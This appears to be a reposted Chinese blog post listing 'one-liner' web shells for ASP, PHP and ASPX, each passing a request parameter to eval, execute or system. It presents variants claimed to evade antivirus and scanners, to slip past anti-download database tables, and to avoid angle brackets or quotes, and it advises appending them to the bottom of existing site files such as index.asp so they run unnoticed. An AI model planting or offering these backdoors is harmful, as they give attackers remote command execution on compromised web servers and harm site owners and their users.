一句话

以下这个ASP一句话
<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%>

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

上面这句是防杀防扫的！网上很少人用！可以插在网页任何ASP文件的最底部不会出错，比如index.asp里面也是可以的！因为加了判断！

加了判断的PHP一句话，与上面的ASP一句话相同道理，也是可以插在任何PHP文件的最底部不会出错！

<?if(isset($_POST['1'])){eval($_POST['1']);}?>

<?php system($_REQUEST[1]);?>

无防下载表，有防下载表可尝试插入以下语句突破的一句话

<%execute request("class")%><%'<% loop <%:%>

<%'<% loop <%:%><%execute request("class")%>

<%execute request("class")'<% loop <%:%>

备份专用

<%eval(request("1")):response.end%>

asp一句话

<%execute(request("1"))%>

php一句话

<?php eval($_POST[1]);?>

aspx一句话

<script runat="server">

WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");

</script>

可以躲过雷客图的一句话。

<%

set ms = server.CreateObject("MSScriptControl.ScriptControl.1")

ms.Language="VBScript"

ms.AddObject "Response", Response

ms.AddObject "request", request

ms.ExecuteStatement("ev"&"al(request(""1""))")

%>

不用'<,>'的asp一句话

<script runat=server>execute request("1")</script>

不用双引号的一句话。

<%eval request(chr(35))%>

转载于:https://www.cnblogs.com/amwld/archive/2011/11/20/2255744.html